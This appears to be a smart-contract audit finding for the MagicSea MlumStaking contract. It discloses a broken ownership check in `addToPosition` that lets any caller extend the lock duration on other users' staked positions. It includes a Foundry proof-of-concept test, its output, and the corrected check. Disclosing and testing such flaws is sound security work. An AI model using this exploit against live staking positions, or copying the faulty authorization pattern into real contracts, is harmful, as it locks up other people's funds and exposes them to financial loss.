Young Iron Beaver

Medium

# Access Control Vulnerability in MlumStaking Allows Malicious Users to Extend Lock Duration of Others' Positions

## Summary
The `addToPosition` function in the MlumStaking contract contains an access control vulnerability where the permission check fails due to a logic error, allowing any user to call the function with any tokenID. This flaw permits malicious actors to extend the lock duration of other users' staked positions, potentially leading to significant financial losses.

## Vulnerability Detail
In the MlumStaking contract, the `addToPosition` function is used to add stakedToken to an existing position and update the position data, such as `position.amount` and `position.lockDuration`. According to the function's CODE COMMENTS, this function can only be called by the owner of the corresponding position (lsNFT) or an authorized operator.

```solidity
/**
* @dev Add to an existing staking position
*
* Can only be called by lsNFT's owner or operators
*/
function addToPosition(uint256 tokenId, uint256 amountToAdd) external override nonReentrant {
    _requireOnlyOperatorOrOwnerOf(tokenId);
    require(amountToAdd > 0, "0 amount"); // addToPosition: amount cannot be null
    // skip
}
```

However, the permission verification function `_requireOnlyOperatorOrOwnerOf` used here has a logical flaw.

```solidity
/**
* @dev Check if a userAddress has privileged rights on a spNFT
*/
function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
    // isApprovedOrOwner: caller has no rights on token
    require(ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId), "FORBIDDEN");
}

function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {
    return spender != address(0) && (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);
}
```

Clearly, the parameters `owner` and `spender` are both set as `msg.sender`, causing the `_isAuthorized` function to always return true. Therefore, anyone can bypass the `_requireOnlyOperatorOrOwnerOf` function's permission check to call the `addToPosition` function. This introduces an access control vulnerability, allowing any user to use any position's tokenID to call the `addToPosition` function, thereby updating position data in violation of the CODE COMMENTS regarding permissions.

Further, a malicious user could use someone else's position tokenID to call the `addToPosition` function, forcibly extending their lock duration and potentially causing economic harm.

Consider the following scenario:

1. Alice stakes 1e of stakedTokens on day T for 365 days, with the corresponding position's tokenID being 1. She plans to collect rewardTokens and intends to withdraw and sell the stakedTokens after a year.
2. Bob, having a financial dispute or other issues with Alice, discovers that her position's lock period is about to expire. For example, on day T+364, he calls `addToPosition`, inputs tokenId as 1 for Alice's position, and sets the amount as 1e.
3. The `addToPosition` function contains the following logic to update lockDuration:
```solidity
StakingPosition storage position = _stakingPositions[tokenId];

// we calculate the avg lock time:
// lock_duration = (remainin_lock_time * staked_amount + amount_to_add * inital_lock_duration) / (staked_amount + amount_to_add)
uint256 remainingLockTime = _remainingLockTime(position);
uint256 avgDuration = (remainingLockTime * position.amount + amountToAdd * position.initialLockDuration)
/ (position.amount + amountToAdd);

position.startLockTime = _currentBlockTimestamp();
position.lockDuration = avgDuration;
```
Following this logic, Alice's position's lock duration would be updated. Specifically, the `startLockTime` would be set to T+364, and the `lockDuration` would be updated to 183 days, thus requiring an additional 183 days to redeem the stakedTokens.
4. Note that the malicious Bob needs to add stakedTokens to Alice's position to extend the lock period, and the more stakedTokens he adds, the longer the extension (in extreme cases, enough stakedTokens could almost indefinitely extend the duration). Although this appears unprofitable for Bob, such attacks might still occur, as previously mentioned, due to  economic disputes or other reasons, Bob may still maliciously extend the lock period for Alice's position. For Alice, she may have planned to redeem the stakedToken after a year and use it for other purposes, such as repaying a loan. The unexpectedly extended lock up period may result in a temporary lack of funds, leading to liquidation. Moreover, as the price of stakedTokens fluctuates, Bob's malicious extension of the lock period could significantly reduce the value of the tokens when Alice finally withdraws them, compared to their value had they been sold normally after a year. 

Consequently, malicious extension of the lock period could cause substantial financial loss to legitimate users.

The corresponding proof of concept (PoC) is as follows:
```solidity
function _remainingLockTime(IMlumStaking.StakingPosition memory position) internal view returns (uint256) {
    if ((position.startLockTime + position.lockDuration) <= block.timestamp) {
        return 0;
    }
    return (position.startLockTime + position.lockDuration) - block.timestamp;
}
function testRequireAddToPosition() public {
    _rewardToken.mint(address(_pool), 100_000_000);
    _stakingToken.mint(ALICE, 1 ether);

    vm.startPrank(ALICE);
    _stakingToken.approve(address(_pool), 1 ether);
    _pool.createPosition(1 ether, 365 days);
    emit log_string("Alice created a position with 1e stakedToken for 365 days");
    vm.stopPrank();
    skip(364 days);
    emit log_string("364 days later...");
    IMlumStaking.StakingPosition memory p = _pool.getStakingPosition(1);
    emit log_named_uint("remaining lock days: ", _remainingLockTime(p) / 86400);

    vm.startPrank(BOB);
    _stakingToken.mint(BOB, 1 ether);
    _stakingToken.approve(address(_pool), 1 ether);
    _pool.addToPosition(1, 1 ether);
    emit log_string("Bob added 1e stakedToken for Alice's position");
    p = _pool.getStakingPosition(1);
    emit log_named_uint("lock duration days:", p.lockDuration/86400);
    emit log_named_uint("remaining lock days: ", _remainingLockTime(p) / 86400);
}
```

Output:
```solidity
Logs:
Alice created a position with 1e stakedToken for 365 days
364 days later...
remaining lock days: : 1
Bob added 1e stakedToken for Alice's position
lock duration days:: 183
remaining lock days: : 183
```
## Impact
This vulnerability enables unauthorized users to manipulate staking positions, potentially extending other users' lock periods without consent. Such unauthorized actions may lead to unexpected stucking of normal user funds, which may cause significant financial losses due to disruptions in normal user financial planning or fluctuations in token prices.

## Code Snippet
https://github.com/sherlock-audit/2024-06-magicsea/blob/42e799446595c542eff9519353d3becc50cdba63/magicsea-staking/src/MlumStaking.sol#L138-L143

https://github.com/sherlock-audit/2024-06-magicsea/blob/42e799446595c542eff9519353d3becc50cdba63/magicsea-staking/src/MlumStaking.sol#L392-L428

## Tool used

Manual Review

## Recommendation
To address the identified access control vulnerability in the `addToPosition` function of the MlumStaking contract, it is recommended to modify the `_requireOnlyOperatorOrOwnerOf` function as follows:

```solidity
function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        // isApprovedOrOwner: caller has no rights on token
        require(ERC721Upgradeable._isAuthorized(_ownerOf(tokenId), msg.sender, tokenId), "FORBIDDEN");
    }
```

This change ensures that the `_isAuthorized` function is called with the correct `owner` parameter, specifically `_ownerOf(tokenId)`, which correctly verifies the caller's authorization based on the true owner of the position. 
